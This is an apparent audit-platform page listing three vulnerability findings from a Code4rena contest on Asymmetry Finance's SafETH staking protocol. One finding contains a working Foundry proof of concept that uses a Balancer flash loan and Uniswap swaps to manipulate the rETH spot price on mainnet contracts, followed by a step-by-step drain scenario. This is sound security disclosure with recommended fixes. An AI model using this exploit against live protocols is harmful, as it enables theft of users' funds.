Asymmetry contest - Ruhum's results

A protocol to help diversify and decentralize liquid staking derivatives.

General Information

Platform: Code4rena

Start Date: 24/03/2023

Pot Size: $49,200 USDC

Total HM: 20

Participants: 246

Period: 6 days

Judge: Picodes

Total Solo HM: 1

Id: 226

League: ETH

Asymmetry Finance

Findings Distribution

Researcher Performance

Rank: 19/246

Findings: 3

Award: $412.59

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

4.5426 USDC - $4.54

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
duplicate-588

External Links

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/WstEth.sol#L87 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L68-L75

Vulnerability details

Impact

The protocol treats 1 stETH = 1 ETH. In case the peg breaks, it will break the internal accounting of SafETH. That will cause subsequent depositors to receive less SafETH than they should.

Proof of Concept

In WstEth, ethPerDerivative() doesn't convert stETH into ETH. It treats 1 stETH as 1 ETH:

    function ethPerDerivative(uint256 _amount) public view returns (uint256) {
        return IWStETH(WST_ETH).getStETHByWstETH(10 ** 18);
    }

The adapters for rETH and frxETH both convert the liquid staking tokens into ETH using Curve or Uniswap:

    // Reth.sol
    function ethPerDerivative(uint256 _amount) public view returns (uint256) {
        if (poolCanDeposit(_amount))
            return
                RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18);
        else return (poolPrice() * 10 ** 18) / (10 ** 18);
    }
    // SfrxEth.sol
    function ethPerDerivative(uint256 _amount) public view returns (uint256) {
        uint256 frxAmount = IsFrxEth(SFRX_ETH_ADDRESS).convertToAssets(
            10 ** 18
        );

        return ((10 ** 18 * frxAmount) /
            IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).price_oracle());
    }

In case stETH depegs from ETH, the contract will believe that it holds more ETH than it actually does. The stake() function calculates the amount of ETH under management using ethperDerivative() and the staking token balance for each protocol:

        uint256 underlyingValue = 0;

        // Getting underlying value in terms of ETH for each derivative
        for (uint i = 0; i < derivativeCount; i++)
            underlyingValue +=
                (derivatives[i].ethPerDerivative(derivatives[i].balance()) *
                    derivatives[i].balance()) /
                10 ** 18;

But, because ethPerDerivative() returns the stETH amount the value will be higher in case of it depegging.

Following scenario where this will cause an issue:

  1. SafETH has 3 derivatives each with a weight of 33%. It holds 100 tokens each
  2. stETH depegs from ETH because of an issue with the Lido contracts, 1 stETH = 0.5 ETH
  3. SafETH protocol team sets the weight for Lido to 0 so that future deposits don't go into Lido. But, they don't rebalance the protocol's holdings in hopes of Lido recovering.
  4. Alice deposits 100 ETH into SafETH. Because of the issue with the WstEth adapter, the protocol will believe that it holds more ETH than it actually does. It will mint Alice fewer tokens than it should. Instead of minting $100 * 300 / 250 = 120$ shares it mints $100 * 300 / 300 = 100$ shares (amount * totalSupply / totalAssets).

Tools Used

none

WstEth should convert stETH into ETH in ethPerDerivative().

#0 - c4-pre-sort

2023-04-04T17:16:25Z

0xSorryNotSorry marked the issue as duplicate of #588

#1 - c4-judge

2023-04-21T17:11:36Z

Picodes marked the issue as satisfactory

#2 - c4-judge

2023-04-23T11:07:04Z

Picodes changed the severity to 3 (High Risk)

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L211-L216 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L241 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L156-L204 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L108-L119

Vulnerability details

Impact

The Reth adapter uses the Uniswap pool's spot price to determine the amount of ETH each rETH token is worth. Spot prices can be manipulated easily through flash loans. That allows an attacker to mint more SafETH than they should, resulting in the protocol being drained.

Proof of Concept

The following POC will show how an attacker can move the spot price of an Uniswap pool:

pragma solidity ^0.8.13;

import "forge-std/Test.sol";

interface BalancerVault {
    function flashLoan(address recipient, address[] memory tokens, uint[] memory amounts, bytes memory userData) external;
}

interface IUniswapV3Pool {
    function slot0() external returns (uint160, int24, uint16, uint16, uint16, uint8, bool);
}

struct ExactInputSingleParams {
    address tokenIn;
    address tokenOut;
    uint24 fee;
    address recipient;
    uint256 deadline;
    uint256 amountIn;
    uint256 amountOutMinimum;
    uint160 sqrtPriceLimitX96;
}
interface ISwapRouter {
    function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);
}

interface ERC20 {
    function balanceOf(address _owner) external view returns (uint256 balance);
    function approve(address _spender, uint256 _value) external returns (bool success);
}

contract Attack is Test {
    function setUp() public {}

    BalancerVault constant vault = BalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    IUniswapV3Pool pool = IUniswapV3Pool(0xa4e0faA58465A2D369aa21B3e42d43374c6F9613);
    ISwapRouter router = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);

    ERC20 rETH = ERC20(0xae78736Cd615f374D3085123A210448E74Fc6393);
    ERC20 weth = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    function receiveFlashLoan(
        address[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        (uint160 initialPrice, , , , , , ) = pool.slot0();

        // @audit buy all the WETH before depositing into SafETH
        rETH.approve(address(router), 1144e18);
        ExactInputSingleParams memory params =
            ExactInputSingleParams({
                tokenIn: address(rETH),
                tokenOut: address(weth),
                fee: 500,
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: 1144e18,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
        router.exactInputSingle(params);        
        console2.log(weth.balanceOf(address(this)));

        (uint160 newPrice, , , , , , ) = pool.slot0();
        uint price0 = (initialPrice * (uint(initialPrice)) * (1e18)) >> (96 * 2);
        uint price1 = (newPrice * (uint(newPrice)) * (1e18)) >> (96 * 2);
        console2.log(price0, "init price");
        console2.log(price1, "new price");
        
        // execute the deposit. That will result in SafETH using the ETH you deposited to buy
        // rETH from the uniswap pool. That will move the price
        weth.approve(address(router), 1000e18);
        params =
            ExactInputSingleParams({
                tokenIn: address(weth),
                tokenOut: address(rETH),
                fee: 500,
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: 500e18,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
        router.exactInputSingle(params);
        console2.log(rETH.balanceOf(address(this)), "rETH balance");

        (uint160 newPrice2, , , , , , ) = pool.slot0();
        uint price2 = (newPrice2 * (uint(newPrice2)) * (1e18)) >> (96 * 2);
        console2.log(price2, "price 2");

        // this will revert anyways because we don't pay the balancer flashloan back.
        // For that we'd have to implement the withdrawal from SafETH
        revert();
    }

    function testAttack() public {
        address[] memory tokens = new address[](1);
        tokens[0] = address(0xae78736Cd615f374D3085123A210448E74Fc6393);
        uint[] memory amounts = new uint[](1);
        amounts[0] = 1144e18;

        vault.flashLoan(address(this), tokens, amounts, "");
    }
}

The tests logs are:

Logs: 1214796745276741817014 WETH balance after first swap 1069150214709672918 init price 0 new price 473772392453803811213 rETH balance 1065792044637951758 price 2

Add the file to a basic foundry project and then run in with the following command: forge test --fork-url https://eth.llamarpc.com -vv --fork-block-number 16921080

Now, I'll explain how that maps to an attack on SafETH. First of all, we've to specify the vulnerability. In the Reth contract, the adapter implements two ways to exchange ETH into rETH. Either, by using the Rocket Pool contracts or through Uniswap:

    function deposit() external payable onlyOwner returns (uint256) {
        // Per RocketPool Docs query addresses each time it is used
        address rocketDepositPoolAddress = RocketStorageInterface(
            ROCKET_STORAGE_ADDRESS
        ).getAddress(
                keccak256(
                    abi.encodePacked("contract.address", "rocketDepositPool")
                )
            );

        RocketDepositPoolInterface rocketDepositPool = RocketDepositPoolInterface(
                rocketDepositPoolAddress
            );

        if (!poolCanDeposit(msg.value)) {
            uint rethPerEth = (10 ** 36) / poolPrice();

            uint256 minOut = ((((rethPerEth * msg.value) / 10 ** 18) *
                ((10 ** 18 - maxSlippage))) / 10 ** 18);

            IWETH(W_ETH_ADDRESS).deposit{value: msg.value}();
            uint256 amountSwapped = swapExactInputSingleHop(
                W_ETH_ADDRESS,
                rethAddress(),
                500,
                msg.value,
                minOut
            );

            return amountSwapped;
        } else {
            address rocketTokenRETHAddress = RocketStorageInterface(
                ROCKET_STORAGE_ADDRESS
            ).getAddress(
                    keccak256(
                        abi.encodePacked("contract.address", "rocketTokenRETH")
                    )
                );
            RocketTokenRETHInterface rocketTokenRETH = RocketTokenRETHInterface(
                rocketTokenRETHAddress
            );
            uint256 rethBalance1 = rocketTokenRETH.balanceOf(address(this));
            rocketDepositPool.deposit{value: msg.value}();
            uint256 rethBalance2 = rocketTokenRETH.balanceOf(address(this));
            require(rethBalance2 > rethBalance1, "No rETH was minted");
            uint256 rethMinted = rethBalance2 - rethBalance1;
            return (rethMinted);
        }
    }

Generally, Uniswap will be used because the Rocket Pool deposit pool is already full. The pool used for that is https://info.uniswap.org/#/pools/0xa4e0faa58465a2d369aa21b3e42d43374c6f9613. It has only a limited amount of liquidity which makes spot price manipulation really easy. The adapter implements another function: ethPerDerivative(). It's used to determine how much ETH one rETH is worth. And for that it uses the pool's spot price:

    function ethPerDerivative(uint256 _amount) public view returns (uint256) {
        if (poolCanDeposit(_amount))
            return
                RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18);
        else return (poolPrice() * 10 ** 18) / (10 ** 18); // this is just poolPrice()
    }
    function poolPrice() private view returns (uint256) {
        address rocketTokenRETHAddress = RocketStorageInterface(
            ROCKET_STORAGE_ADDRESS
        ).getAddress(
                keccak256(
                    abi.encodePacked("contract.address", "rocketTokenRETH")
                )
            );
        IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY);
        IUniswapV3Pool pool = IUniswapV3Pool(
            factory.getPool(rocketTokenRETHAddress, W_ETH_ADDRESS, 500)
        );
        (uint160 sqrtPriceX96, , , , , , ) = pool.slot0();
        return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2);
    }

The amount of ETH each staking token is worth is used to determine the amount of ETH SafETH currently manages. That will be used to determine how much SafETH should be minted for a new deposit. Now, let's begin with the exploit.

  1. Alice flash loans ETH to buy up all the rETH inside the Uniswap pool. This is implemented at the beginning of the POC:
        (uint160 initialPrice, , , , , , ) = pool.slot0();

        // @audit buy all the WETH before depositing into SafETH
        rETH.approve(address(router), 1144e18);
        ExactInputSingleParams memory params =
            ExactInputSingleParams({
                tokenIn: address(rETH),
                tokenOut: address(weth),
                fee: 500,
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: 1144e18,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
        router.exactInputSingle(params);        
        console2.log(weth.balanceOf(address(this)), "WETH balance after first swap");

        (uint160 newPrice, , , , , , ) = pool.slot0();
        uint price0 = (initialPrice * (uint(initialPrice)) * (1e18)) >> (96 * 2);
        uint price1 = (newPrice * (uint(newPrice)) * (1e18)) >> (96 * 2);
        console2.log(price0, "init price");
        console2.log(price1, "new price");

Logs:

1214796745276741817014 WETH balance after first swap 1069150214709672918 init price 0 new price

That causes the new spot price to be 0.

  1. Alice deposits 1000 ETH into SafETH First, SafETH determines how much ETH it currently holds:
     for (uint i = 0; i < derivativeCount; i++)
            underlyingValue +=
                (derivatives[i].ethPerDerivative(derivatives[i].balance()) *
                    derivatives[i].balance()) /
                10 ** 18;

To make it easier we say that it only has 2 derivatives (wstETH & rETH) and both are worth exactly 1 ETH (before rETH was manipulated). So the current state is:

  • 10,000 SafETH
  • 5,000 rETH
  • 5,000 wstETH

When the stake() function now determines the underlyingValue it will result in 5,000 ETH instead of 10,000 ETH. rETH is not worth any ETH because the spot price of the pool was set to 0 by the attacker before calling.

That's used to determine the preDepositPrice:

preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;

Which is: 10^18 * 5,000e18 / 10,000e18 = 5e17

Now, it stakes the ETH Alice deposits (1,000e18) into two liquid staking protocols:

        uint256 totalStakeValueEth = 0; // total amount of derivatives worth of ETH in system
        for (uint i = 0; i < derivativeCount; i++) {
            uint256 weight = weights[i];
            IDerivative derivative = derivatives[i];
            if (weight == 0) continue;
            uint256 ethAmount = (msg.value * weight) / totalWeight;

            // This is slightly less than ethAmount because slippage
            uint256 depositAmount = derivative.deposit{value: ethAmount}();
            uint derivativeReceivedEthValue = (derivative.ethPerDerivative(
                depositAmount
            ) * depositAmount) / 10 ** 18;
            totalStakeValueEth += derivativeReceivedEthValue;
        }

For wstETH this will just result 500e18 wstETH which is worth 500e18 ETH. For rETH it's different. The ETH Alice deposits will be used to buy rETH from the pool we've just manipulated. A pool that has almost no ETH left but has a lot of rETH. That deposit results in ~520e18 rETH and a new spot price as seen in the POC above:

        // execute the deposit. That will result in SafETH using the ETH you deposited to buy
        // rETH from the uniswap pool. That will move the price
        weth.approve(address(router), 1000e18);
        params =
            ExactInputSingleParams({
                tokenIn: address(weth),
                tokenOut: address(rETH),
                fee: 500,
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: 500e18,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
        router.exactInputSingle(params);
        console2.log(rETH.balanceOf(address(this)), "rETH balance");

        (uint160 newPrice2, , , , , , ) = pool.slot0();
        uint price2 = (newPrice2 * (uint(newPrice2)) * (1e18)) >> (96 * 2);
        console2.log(price2, "price 2");

Logs:

473772392453803811213 rETH balance 1065792044637951758 price 2

So for depositing 500 ETH we receive 520 rETH. The protocol now determines how much ETH that is worth:

            uint256 depositAmount = derivative.deposit{value: ethAmount}();
            uint derivativeReceivedEthValue = (derivative.ethPerDerivative(
                depositAmount
            ) * depositAmount) / 10 ** 18;

With the new spot price (return value for derivative.ethPerDerivative()) we get: 1.06e18 & 520e18 / 1e18 = ~551e18

That puts totalStakedValueETH at 1051e18. Now that we have totalStakedValueETH and preDepositPrice we can determine the amount of SafETH to mint:

        uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice;
        _mint(msg.sender, mintAmount);

1051e18 * 1e18 / 5e17 = 2102e18

So by depositing 1,000 ETH we got 2,102 SafETH instead of the expected 1,000 SafETH.

  1. Alice redeems her SafETH Now that Alice receives more SafETH than she should, she can redeem her shares to drain the contract.

When unstaking, the amount of liquid staking tokens to burn is determined by the caller's share of the total SafETH supply:

        uint256 safEthTotalSupply = totalSupply();
        uint256 ethAmountBefore = address(this).balance;

        for (uint256 i = 0; i < derivativeCount; i++) {
            // withdraw a percentage of each asset based on the amount of safETH
            uint256 derivativeAmount = (derivatives[i].balance() *
                _safEthAmount) / safEthTotalSupply;
            if (derivativeAmount == 0) continue; // if derivative empty ignore
            derivatives[i].withdraw(derivativeAmount);
        }

Given that Alice holds 2,102 SafETH this will result in:

  • 5500e18 * 2102e18 / 12102e18 = ~955e18 wstETH burned
  • 5520e18 * 2102e18 / 12102e18 = ~959e18 rETH burned

That will net Alice more than the original 1,000 ETH she deposited.

Tools Used

none

Don't use the spot price to get a pool's price. Instead, use the TWAP oracle: https://docs.uniswap.org/concepts/protocol/oracle

#0 - c4-pre-sort

2023-04-01T10:58:21Z

0xSorryNotSorry marked the issue as high quality report

#1 - c4-pre-sort

2023-04-04T11:45:44Z

0xSorryNotSorry marked the issue as duplicate of #601

#2 - c4-judge

2023-04-21T16:11:08Z

Picodes marked the issue as duplicate of #1125

#3 - c4-judge

2023-04-21T16:13:59Z

Picodes marked the issue as satisfactory

Findings Information

🌟 Selected for report: yac

Also found by: 0x52, Ruhum, peanuts

Labels

bug
2 (Med Risk)
satisfactory
edited-by-warden
duplicate-673

Awards

407.9083 USDC - $407.91

External Links

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L156-L204 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L152

Vulnerability details

Impact

rETH only allows a limited amount of ETH to be deposited directly. The Uniswap pool used to swap from ETH to rETH has very low liquidity. When SafETH is rebalanced, all of the ETH it holds is withdrawn and re-deposited to each protocol. Depending on the size of SafETH's ETH holdings, the deposit can exceed Rocket Pool's deposit limit and the Uniswap pool's liquidity. That will cause the rebalancing tx to revert. That would limit the protocol's exposure to RocketPool. While that may sound like a far-fetched issue because of the deposit size, a quick look at DefiLlama will show that it is quite reasonable:

Since SafETH allows users to diversify their ETH into two protocol's you would expect it to take liquidity away from both Lido and Rocket Pool. If SafETH holds 10k ETH (0.15% of Lido & Rocket Pool holdings) and distributes it 50/50, it will already reach Rocket Pool's deposit limit (given the deposit pool is empty).

At that point, it won't be able to rebalance the weights such that Rocket Pool would receive more than 5000 ETH because the transaction would revert.

Proof of Concept

When SafETH is rebalanced, all the ETH it holds is withdrawn and then redeposited

    function rebalanceToWeights() external onlyOwner {
        uint256 ethAmountBefore = address(this).balance;
        for (uint i = 0; i < derivativeCount; i++) {
            if (derivatives[i].balance() > 0)
                derivatives[i].withdraw(derivatives[i].balance());
        }
        uint256 ethAmountAfter = address(this).balance;
        uint256 ethAmountToRebalance = ethAmountAfter - ethAmountBefore;

        for (uint i = 0; i < derivativeCount; i++) {
            if (weights[i] == 0 || ethAmountToRebalance == 0) continue;
            uint256 ethAmount = (ethAmountToRebalance * weights[i]) /
                totalWeight;
            // Price will change due to slippage
            derivatives[i].deposit{value: ethAmount}();
        }
        emit Rebalanced();
    }

The Reth adapter implements two ways to deposit funds:

  • directly through Rocket Pool
  • by swapping ETH to rETH on Uniswap
    function deposit() external payable onlyOwner returns (uint256) {
        // Per RocketPool Docs query addresses each time it is used
        address rocketDepositPoolAddress = RocketStorageInterface(
            ROCKET_STORAGE_ADDRESS
        ).getAddress(
                keccak256(
                    abi.encodePacked("contract.address", "rocketDepositPool")
                )
            );

        RocketDepositPoolInterface rocketDepositPool = RocketDepositPoolInterface(
                rocketDepositPoolAddress
            );

        if (!poolCanDeposit(msg.value)) {
            uint rethPerEth = (10 ** 36) / poolPrice();

            uint256 minOut = ((((rethPerEth * msg.value) / 10 ** 18) *
                ((10 ** 18 - maxSlippage))) / 10 ** 18);

            IWETH(W_ETH_ADDRESS).deposit{value: msg.value}();
            uint256 amountSwapped = swapExactInputSingleHop(
                W_ETH_ADDRESS,
                rethAddress(),
                500,
                msg.value,
                minOut
            );

            return amountSwapped;
        } else {
            address rocketTokenRETHAddress = RocketStorageInterface(
                ROCKET_STORAGE_ADDRESS
            ).getAddress(
                    keccak256(
                        abi.encodePacked("contract.address", "rocketTokenRETH")
                    )
                );
            RocketTokenRETHInterface rocketTokenRETH = RocketTokenRETHInterface(
                rocketTokenRETHAddress
            );
            uint256 rethBalance1 = rocketTokenRETH.balanceOf(address(this));
            rocketDepositPool.deposit{value: msg.value}();
            uint256 rethBalance2 = rocketTokenRETH.balanceOf(address(this));
            require(rethBalance2 > rethBalance1, "No rETH was minted");
            uint256 rethMinted = rethBalance2 - rethBalance1;
            return (rethMinted);
        }
    }

poolCanDeposit() checks whether the deposit amount is within bounds: deposit pool balance + amount less than 5000e18 and more than 0.01e18:

    function poolCanDeposit(uint256 _amount) private view returns (bool) {
        address rocketDepositPoolAddress = RocketStorageInterface(
            ROCKET_STORAGE_ADDRESS
        ).getAddress(
                keccak256(
                    abi.encodePacked("contract.address", "rocketDepositPool")
                )
            );
        RocketDepositPoolInterface rocketDepositPool = RocketDepositPoolInterface(
                rocketDepositPoolAddress
            );

        address rocketProtocolSettingsAddress = RocketStorageInterface(
            ROCKET_STORAGE_ADDRESS
        ).getAddress(
                keccak256(
                    abi.encodePacked(
                        "contract.address",
                        "rocketDAOProtocolSettingsDeposit"
                    )
                )
            );
        RocketDAOProtocolSettingsDepositInterface rocketDAOProtocolSettingsDeposit = RocketDAOProtocolSettingsDepositInterface(
                rocketProtocolSettingsAddress
            );

        return
            rocketDepositPool.getBalance() + _amount <=
            rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize() &&
            _amount >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit();
    }

Currently, the pool is already full (input is "rocketDepositPool"). So you won't be able to use that. Instead, the deposit has to be executed through Uniswap. But, the Uniswap pool doesn't have an infinite amount of liquidity. It's actually quite limited. Currently, it only holds 1.62k rETH and 1.28k ETH: https://info.uniswap.org/#/pools/0xa4e0faa58465a2d369aa21b3e42d43374c6f9613

Meaning, if you try to deposit more ETH than there is rETH in the pool the Uniswap path will also fail because of the slippage protection. The swap won't pass the minOut check:

        if (!poolCanDeposit(msg.value)) {
            uint rethPerEth = (10 ** 36) / poolPrice();

            uint256 minOut = ((((rethPerEth * msg.value) / 10 ** 18) *
                ((10 ** 18 - maxSlippage))) / 10 ** 18);

            IWETH(W_ETH_ADDRESS).deposit{value: msg.value}();
            uint256 amountSwapped = swapExactInputSingleHop(
                W_ETH_ADDRESS,
                rethAddress(),
                500,
                msg.value,
                minOut
            );

            return amountSwapped;

To sum up, you're not able to deposit ETH that's worth more than ~1.5k rETH in one go. It strictly limits the protocol's exposure to Rocket Pool (2nd largest liquid staking protocol).

The withdrawal is also an issue. The Rocket Pool contracts don't have unlimited ETH to cover withdrawals. At most, you can only withdraw rETH worth RocketTokenRETH.getTotalCollateral(): https://etherscan.io/address/0xae78736cd615f374d3085123a210448e74fc6393#code#F6#L139 At the time of writing that's 5537 ETH: https://etherscan.io/address/0xae78736cd615f374d3085123a210448e74fc6393#readContract#F8

So if the SafETH contract holds rETH worth more than 5537 ETH, the rebalancing function will revert.

Tools Used

none

Instead of depositing the whole amount at once, it should be done in multiple steps. The easiest solution would be to use a timelock that has the ability to freely move funds between the different protocols. That allows more granular rebalancing of funds, and transparency and time for users to react to changes in exposure to different protocols.

Another temporary solution is to use the Balancer pool. It has deeper liquidity: https://app.balancer.fi/#/ethereum/pool/0x1e19cf2d73a72ef1332c882f20534b6519be0276000200000000000000000112

#0 - c4-pre-sort

2023-04-04T20:39:09Z

0xSorryNotSorry marked the issue as duplicate of #673

#1 - c4-judge

2023-04-23T11:45:05Z

Picodes marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter